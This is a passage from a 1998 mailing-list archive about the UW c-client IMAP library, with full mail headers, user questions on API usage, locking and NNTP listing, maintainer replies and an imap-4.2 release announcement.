(8.8.4+UW97.07/8.8.4+UW98.04) with ESMTP id NAA13501; Wed, 13 May 1998 13:59:12 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id NAA04310; Wed, 13 May 1998 13:53:13 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id NAA12930 for ; Wed, 13 May 1998 13:52:15 -0700 Received: from gatekeeper.iga.com (gatekeeper.iga.com [208.148.228.4]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with SMTP id NAA03736 for ; Wed, 13 May 1998 13:52:14 -0700 Received: by gatekeeper.iga.com; (5.65v3.2/1.3/10May95) id AA00787; Wed, 13 May 1998 16:17:58 -0400 Message-Id: Date: Wed, 13 May 1998 16:52:58 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: kmm To: "'c-client@u.washington.edu'" Subject: c-client - building STRING structure using mail_string_* entrypoi nts Mime-Version: 1.0 Content-Type: text/plain X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I'm attempting to create messages on the server using the mail_append_full entry point. The entrypoint looks like this: long mail_append_full( MAILSTREAM *stream, char* mailbox, char *flags, char *date, STRING *message) My question is a minor one since we've worked around it, but I am wondering if I am missing something. When I am building the STRING, I first call mail_string_init(STRING *string, void *data, ULONG size), which sets the chunk ptr and the curpos ptr in the STRING structure to the void ptr passed in. It also sets the size, cur_size, and chunksize. I understand the use of the 'chunk' information if there is a mail_string_append( ) function, but I do not see one. Is the chunk information not yet supported? I only see mail_string_next & mail_string_setpos entrypoints... This is not a major issue, obviously, as we build our own string and then call mail_string_init, but I just want to make sure I'm not missing anything. Thank you for your time, Kevin ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue May 19 10:37:07 1998 -0700 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Tue, 19 May 1998 10:37:06 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id KAA01895 for ; Tue, 19 May 1998 10:37:05 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.04) with ESMTP id KAA25493; Tue, 19 May 1998 10:37:01 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id KAA16665; Tue, 19 May 1998 10:27:51 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id KAA19364 for ; Tue, 19 May 1998 10:27:09 -0700 Received: from pathways.sde.state.sc.us (pathways.sde.state.sc.us [206.74.148.23]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id KAA03344 for ; Tue, 19 May 1998 10:27:08 -0700 Received: from localhost (jay@localhost) by pathways.sde.state.sc.us (8.8.7/8.8.7) with SMTP id NAA10513 for ; Tue, 19 May 1998 13:27:02 -0400 Message-Id: Date: Tue, 19 May 1998 13:27:02 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Jay Bloodworth To: c-client@u.washington.edu Subject: mail_elt and mail_fetchstructure MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I'm just getting started with c-client and in reading through Internal.DOC I found a couple of statements in the documentation of mail_elt that don't make sense to me. I hope someone can clarify them for me. > This function returns the cache entry for the specified message. >Although it will create a cache entry if it does not already exist, >that functionality is for internal use only. This function should >never be called without having first called mail_fetchfast() or >mail_fetchstructure() on the message first. Call mail_fetchstructure before mail_elt. Fine, that's clear, but later it says: > Unless your application wants to look at cached envelopes and >bodies even after the message is expunged or the stream is closed, it >should not use mail_lelt(). Instead, it should use a returned elt from >mail_elt() and use the elt->msgsno as the argument to >mail_fetchstructure(). Huh? If I'm using the return value of mail_elt to call mail_fetchstructure, I have to call mail_elt first, contradicting what is said above. The larger question I have is what is the point of the elt structure anyway? Why is significant about the data that is stored there that it needed to be separated out from the data returned by the mail_fetch* functions? Thanks, Jay +---------------------------------+------------------------------+ | Jay Bloodworth | jay@pathways.sde.state.sc.us | | Network Technician | Voice: (803) 734-7000 | | SC Department of Education | Fax: (803) 734-4064 | +---------------------------------+------------------------------+ ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed May 27 06:40:04 1998 -0700 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Wed, 27 May 1998 06:40:04 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id GAA01606 for ; Wed, 27 May 1998 06:40:03 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.64.1]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.04) with ESMTP id GAA23915; Wed, 27 May 1998 06:39:58 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id GAA21647; Wed, 27 May 1998 06:35:02 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id GAA28154 for ; Wed, 27 May 1998 06:34:00 -0700 Received: from biff.stud.ntnu.no (biff.stud.ntnu.no [129.241.56.18]) by mxu2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id GAA09895 for ; Wed, 27 May 1998 06:33:59 -0700 Received: from ild.stud.ntnu.no (ild.stud.ntnu.no [129.241.56.15]) by biff.stud.ntnu.no (8.8.8/8.8.8) with ESMTP id PAA29524 for ; Wed, 27 May 1998 15:33:57 +0200 (MET DST) Received: (from joge@localhost) by ild.stud.ntnu.no (8.8.8/8.8.8) id PAA25754 for c-client@u.washington.edu; Wed, 27 May 1998 15:33:57 +0200 (MET DST) Message-Id: <199805271333.PAA25754@ild.stud.ntnu.no> Date: Wed, 27 May 1998 15:33:57 +0200 (MET DST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Geir Johannessen To: c-client@u.washington.edu Subject: Using only dot locking MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Url: http://www.stud.ntnu.no/~joge/ X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I read the paper ./docs/locking.txt. However it is unclear for me whether or not I can live with only dot locking. We have a cluster of mailservers, each with their own home directories. When mail addressed to user@stud.ntnu.no arrives to one of the servers, the username is checked against a database and delivered locally to $HOME/.mail if it has come to the correct machine or forwarded to the machine that has the user's home directory. There is no NFS traffic between the servers. To be able to have imap support we figure we have to have a client server that mounts all home directories with NFS from the mailservers. But will locking function well over NFS? The only locking mechanism the machines in our heterogen system have in common is dot locking. Will this suffice? And if so, how can I force imap to only use dot locking? -- Geir Johannessen # joge@stud.ntnu.no E B Schieldropsvei 35-25 # http://www.stud.ntnu.no/~joge/ N-7033 TRONDHEIM, NORWAY # Tlf private +47-73888989, job +47-73598048 "If it's worth doing, it's worth overdoing." ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed May 27 06:40:47 1998 -0700 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Wed, 27 May 1998 06:40:46 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id GAA01633 for ; Wed, 27 May 1998 06:40:46 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.04) with ESMTP id GAA23920; Wed, 27 May 1998 06:40:42 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id GAA10756; Wed, 27 May 1998 06:36:11 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id GAA50082 for ; Wed, 27 May 1998 06:35:56 -0700 Received: from biff.stud.ntnu.no (biff.stud.ntnu.no [129.241.56.18]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id GAA30098 for ; Wed, 27 May 1998 06:35:55 -0700 Received: from ild.stud.ntnu.no (ild.stud.ntnu.no [129.241.56.15]) by biff.stud.ntnu.no (8.8.8/8.8.8) with ESMTP id PAA01333 for ; Wed, 27 May 1998 15:35:53 +0200 (MET DST) Received: (from joge@localhost) by ild.stud.ntnu.no (8.8.8/8.8.8) id PAA25915 for c-client@u.washington.edu; Wed, 27 May 1998 15:35:53 +0200 (MET DST) Message-Id: <199805271335.PAA25915@ild.stud.ntnu.no> Date: Wed, 27 May 1998 15:35:53 +0200 (MET DST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Geir Johannessen To: c-client@u.washington.edu Subject: $HOME/.mail instead of /var/mail/$USER MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Url: http://www.stud.ntnu.no/~joge/ X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Apologies for not understanding the documents provided in imap-4.1/docs/ but I have a problem I just can't figure out how to fix: I would like $HOME/.mbox to be incoming mailbox instead of /var/mail/$USER. Where do I do this and how? Is the correct way to edit src/osdep/unix/env_unix.c like this: char *sysinbox () { char tmp[MAILTMPLEN]; if (!sysInbox) { /* initialize if first time */ sprintf (tmp,"%s/.mail",myHomeDir); /* sprintf (tmp,"%s/%s",MAILSPOOL,myUserName); */ sysInbox = cpystr (tmp); /* system inbox is from mail spool */ } return sysInbox; } -- Geir Johannessen # joge@stud.ntnu.no E B Schieldropsvei 35-25 # http://www.stud.ntnu.no/~joge/ N-7033 TRONDHEIM, NORWAY # Tlf private +47-73888989, job +47-73598048 "If it's worth doing, it's worth overdoing." ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jun 4 04:59:11 1998 -0700 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Thu, 4 Jun 1998 04:59:10 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id EAA05998 for ; Thu, 4 Jun 1998 04:59:09 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.04) with ESMTP id EAA16280; Thu, 4 Jun 1998 04:59:06 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id EAA13498; Thu, 4 Jun 1998 04:55:19 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id EAA72002 for ; Thu, 4 Jun 1998 04:54:22 -0700 Received: from oxmail4.ox.ac.uk (oxmail4.ox.ac.uk [163.1.2.33]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with SMTP id EAA28875 for ; Thu, 4 Jun 1998 04:54:19 -0700 Received: from sable.ox.ac.uk by oxmail4 with SMTP (PP) with ESMTP; Thu, 4 Jun 1998 12:53:53 +0100 Received: (from mbeattie@localhost) by sable.ox.ac.uk (1.1/8.8.3) id MAA28276 for c-client@u.washington.edu; Thu, 4 Jun 1998 12:53:52 +0100 (BST) Message-Id: <199806041153.MAA28276@sable.ox.ac.uk> Date: Thu, 4 Jun 1998 12:53:52 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Malcolm Beattie To: c-client@u.washington.edu Subject: Reusing IMAP connections when changing folders MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I'm using the c-client library from imap-4.1.BETA (the README is dated 31 July 1997). When I use mail_open to change folder, it doesn't reuse the same IMAP connection, although a similar test with an NNTP folder does reuse the connection. Internals.doc claims: If oldstream is non-NIL, an attempt is made to reuse oldstream as the stream for this mailbox; this is useful when you want to open another mailbox to the same IMAP or NNTP server without having to open a new connection. Doing this will close the previously open mailbox. Am I missing something--do I need to do something to the IMAP stream to ensure the underlying connection is reused? Or is this a bug (in which case where do I look to fix it)? --Malcolm -- Malcolm Beattie Unix Systems Programmer Oxford University Computing Services ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jun 4 10:39:21 1998 -0700 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Thu, 4 Jun 1998 10:39:21 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id KAA10986 for ; Thu, 4 Jun 1998 10:39:20 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.04) with ESMTP id KAA23803; Thu, 4 Jun 1998 10:39:15 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id KAA29402; Thu, 4 Jun 1998 10:35:24 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id KAA58750 for ; Thu, 4 Jun 1998 10:35:00 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (resp@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id KAA08967 for ; Thu, 4 Jun 1998 10:34:53 -0700 Message-Id: Date: Thu, 4 Jun 1998 10:31:03 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Malcolm Beattie Cc: c-client@u.washington.edu Subject: re: Reusing IMAP connections when changing folders In-Reply-To: <199806041153.MAA28276@sable.ox.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, 4 Jun 1998 12:53:52 +0100 (BST), Malcolm Beattie wrote: > I'm using the c-client library from imap-4.1.BETA (the README is dated > 31 July 1997). This version is almost a year old, and you should update it. ftp://ftp.cac.washington.edu/mail/imap.tar.Z > When I use mail_open to change folder, it doesn't reuse > the same IMAP connection, although a similar test with an NNTP folder > does reuse the connection. What probably did you in is that you did not use the fully-qualified domain name of the IMAP server. The host name that you give to the mail_open() call has to be the same as the fully-qualified domain name of the server that you have open on the stream now. From pinedev@shivax2.cac.washington.edu Thu Jun 11 05:28:57 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Thu, 11 Jun 1998 05:28:57 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id FAA16192 for ; Thu, 11 Jun 1998 05:28:56 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.64.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.04) with ESMTP id FAA04019; Thu, 11 Jun 1998 05:28:52 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id FAA26958; Thu, 11 Jun 1998 05:24:02 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id FAA10220 for ; Thu, 11 Jun 1998 05:22:10 -0700 Received: from oxmail4.ox.ac.uk (oxmail4.ox.ac.uk [163.1.2.33]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with SMTP id FAA00803 for ; Thu, 11 Jun 1998 05:22:09 -0700 Received: from sable.ox.ac.uk by oxmail4 with SMTP (PP) with ESMTP; Thu, 11 Jun 1998 13:21:54 +0100 Received: (from mbeattie@localhost) by sable.ox.ac.uk (1.1/8.8.3) id NAA18613 for c-client@u.washington.edu; Thu, 11 Jun 1998 13:21:49 +0100 (BST) Message-Id: <199806111221.NAA18613@sable.ox.ac.uk> Date: Thu, 11 Jun 1998 13:21:49 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Malcolm Beattie To: c-client@u.washington.edu Subject: mail_list for NNTP In-Reply-To: from Mark Crispin at "Jun 4, 98 10:31:03 am" MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Mark Crispin writes: > On Thu, 4 Jun 1998 12:53:52 +0100 (BST), Malcolm Beattie wrote: > > I'm using the c-client library from imap-4.1.BETA (the README is dated > > 31 July 1997). > > This version is almost a year old, and you should update it. > ftp://ftp.cac.washington.edu/mail/imap.tar.Z Now done (the June 8 version, apparently). The lack of version number changing in the 4.1-BETA name fooled me, I'm afraid. > > When I use mail_open to change folder, it doesn't reuse > > the same IMAP connection, although a similar test with an NNTP folder > > does reuse the connection. > > What probably did you in is that you did not use the fully-qualified domain > name of the IMAP server. The host name that you give to the mail_open() call > has to be the same as the fully-qualified domain name of the server that you > have open on the stream now. That was exactly it, thanks. I've now come across an oddity/problem with mail_list for NNTP connections. If I call mail_list("{news.ox.ac.uk/nntp}ox.test", "{news.ox.ac.uk/nntp}", "%"); then the mm_list callback gets called with many, many repeats of the top level domains: info: Trying IP address [163.1.2.7] list: . {news.ox.ac.uk/nntp}alt noselect list: . {news.ox.ac.uk/nntp}alt noselect list: . {news.ox.ac.uk/nntp}alt noselect list: . {news.ox.ac.uk/nntp}alt noselect ... list: . {news.ox.ac.uk/nntp}aus noselect list: . {news.ox.ac.uk/nntp}aus noselect list: . {news.ox.ac.uk/nntp}aus noselect ... list: . {news.ox.ac.uk/nntp}bionet noselect list: . {news.ox.ac.uk/nntp}bionet noselect list: . {news.ox.ac.uk/nntp}bionet noselect For example, there are 1096 "alt" lines. It looks as though it's getting called approximately once for each real alt.* group but with the name truncated to fit the wildcard. The intention was that the wildcard "%" would match up to the NNTP hierarchy delimiter (".", as the list above shows) and I could hence display the newsgroup hierarchy in the same way as an IMAP mail hierarchy. Am I doing something wrong? The above "called mail_list" is actually a slight lie: I'm using my Mail::Cclient perl module but I don't believe that has any bearing on the above problem and the above C should be what it's calling. Should I announce Mail::Cclient releases on this mailing list (basically: it exists, get it from CPAN) or just assume that anyone interested in using c-client from perl will already have seen the announcements on comp.lang.perl.{announce,modules}? --Malcolm -- Malcolm Beattie Unix Systems Programmer Oxford University Computing Services ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jun 11 11:00:18 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Thu, 11 Jun 1998 11:00:17 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id LAA21292 for ; Thu, 11 Jun 1998 11:00:16 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.04) with ESMTP id LAA11334; Thu, 11 Jun 1998 11:00:12 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id KAA04866; Thu, 11 Jun 1998 10:56:34 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id KAA29456 for ; Thu, 11 Jun 1998 10:55:14 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id KAA10609 for ; Thu, 11 Jun 1998 10:55:01 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (trungt@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.04) with ESMTP id KAA11204 for ; Thu, 11 Jun 1998 10:55:11 -0700 Message-Id: Date: Thu, 11 Jun 1998 10:50:23 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Malcolm Beattie Cc: c-client Interest List Subject: re: mail_list for NNTP In-Reply-To: <199806111221.NAA18613@sable.ox.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, 11 Jun 1998 13:21:49 +0100 (BST), Malcolm Beattie wrote: > If I call > mail_list("{news.ox.ac.uk/nntp}ox.test", "{news.ox.ac.uk/nntp}", "%"); I assume that is not the actual C call, but rather your abstraction from Perl. > then the mm_list callback gets called with many, many repeats of the > top level domains: That's right. It's a misfeature caused by the fact that on most UNIX systems news names are really not hierarchical, they are flat. News names are read from a text file (the ACTIVE file) that presents them as flat. You have to ignore the duplicates. > Should > I announce Mail::Cclient releases on this mailing list If you like. From pinedev@shivax2.cac.washington.edu Tue Jul 14 17:31:45 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Tue, 14 Jul 1998 17:31:45 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id RAA18253 for ; Tue, 14 Jul 1998 17:31:44 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.64.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id RAA15647; Tue, 14 Jul 1998 17:31:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id RAA09796; Tue, 14 Jul 1998 17:31:33 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id RAA21126 for ; Tue, 14 Jul 1998 17:29:48 -0700 Received: from parsley.cisco.com (parsley.cisco.com [171.69.187.13]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id RAA27996 for ; Tue, 14 Jul 1998 17:29:47 -0700 Received: from localhost (jaa@localhost) by parsley.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with SMTP id RAA16346 for ; Tue, 14 Jul 1998 17:29:40 -0700 (PDT) Message-Id: <199807150029.RAA16346@parsley.cisco.com> Date: Tue, 14 Jul 1998 17:29:40 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Jesse Adam To: c-client@u.washington.edu Subject: imap and netscape X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN anyone willing to guess why this happened? ( if this is not the right forum for this sort of questions, kindly point me to the right place) ------- Forwarded Message I looked through my mail this morning when I got in (08:40 or so) and had new mail up to about 23:56 last night. Just now I got a notification (the usual Netscape way) of more mail and 9 messages turned up from 02:58 - 08:41. Something was holding on to the mail for a while and something caused it to suddenly appear. What is going on? I am running PC Netscape 4.05. ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jul 20 19:19:59 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Mon, 20 Jul 1998 19:19:59 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id TAA06656 for ; Mon, 20 Jul 1998 19:19:58 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.64.1]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id TAA19825; Mon, 20 Jul 1998 19:19:56 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id TAA10817; Mon, 20 Jul 1998 19:16:04 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id TAA38424 for ; Mon, 20 Jul 1998 19:14:28 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id TAA09476 for ; Mon, 20 Jul 1998 19:14:28 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id TAA19751; Mon, 20 Jul 1998 19:14:26 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (smj@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id TAA18276; Mon, 20 Jul 1998 19:14:24 -0700 Message-Id: Date: Mon, 20 Jul 1998 19:14:21 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: IMAP Interest List , c-client Interest List Subject: announcing: imap-4.2 toolkit now available MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN imap-4.2 toolkit is a one-shot release; that is, there will be one, and only one, distributed version of imap-4.2 (no multiple beta and final releases). imap-4.2 contains no significant functional changes from imap-4.1.FINAL, but contains a number of code cleanups and minor fixes. imap-4.2 completely supercedes all versions of imap-4.1, including imap-4.1.FINAL. All sites running any version of imap-4.1, *especially* imap-4.1.BETA versions, are urged to upgrade to imap-4.2 as soon as possible. There are no known security problems in imap-4.2; in particularly, the vulnerability posted in the recent CERT and BUGTRAQ announcents is NOT present in imap-4.2. Here are the version numbers of the imap-4.2 servers: imapd v11.237 ipop3d v5.49 ipop2d v4.46 imap-4.2 is distributed as part of Pine 4.01, and is also distributed independently as ftp://ftp.cac.washington.edu/mail/imap-4.2.tar.Z In addition, the imap-utils ftp://ftp.cac.washington.edu/mail/imap-utils.tar.Z have been updated to build with imap-4.2. Barring any unforeseen problems im imap-4.2, imap-4.3 will be distributed in active development/beta state with periodic updates, the way imap-4.1 was. [imap-4.3 doesn't exist yet, so don't ask...] -- Mark -- * RCW 19.149 notice: This email address is located in Washington State. * * Unsolicited commercial email may be billed $500 per message. * Science does not emerge from voting, party politics, or public debate. ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/imap/imap-list.html ----------------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Wed Jul 22 11:21:01 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Wed, 22 Jul 1998 11:21:00 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id LAA15773 for ; Wed, 22 Jul 1998 11:20:59 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA02075; Wed, 22 Jul 1998 11:20:54 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id LAA10757; Wed, 22 Jul 1998 11:20:50 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id LAA12926 for ; Wed, 22 Jul 1998 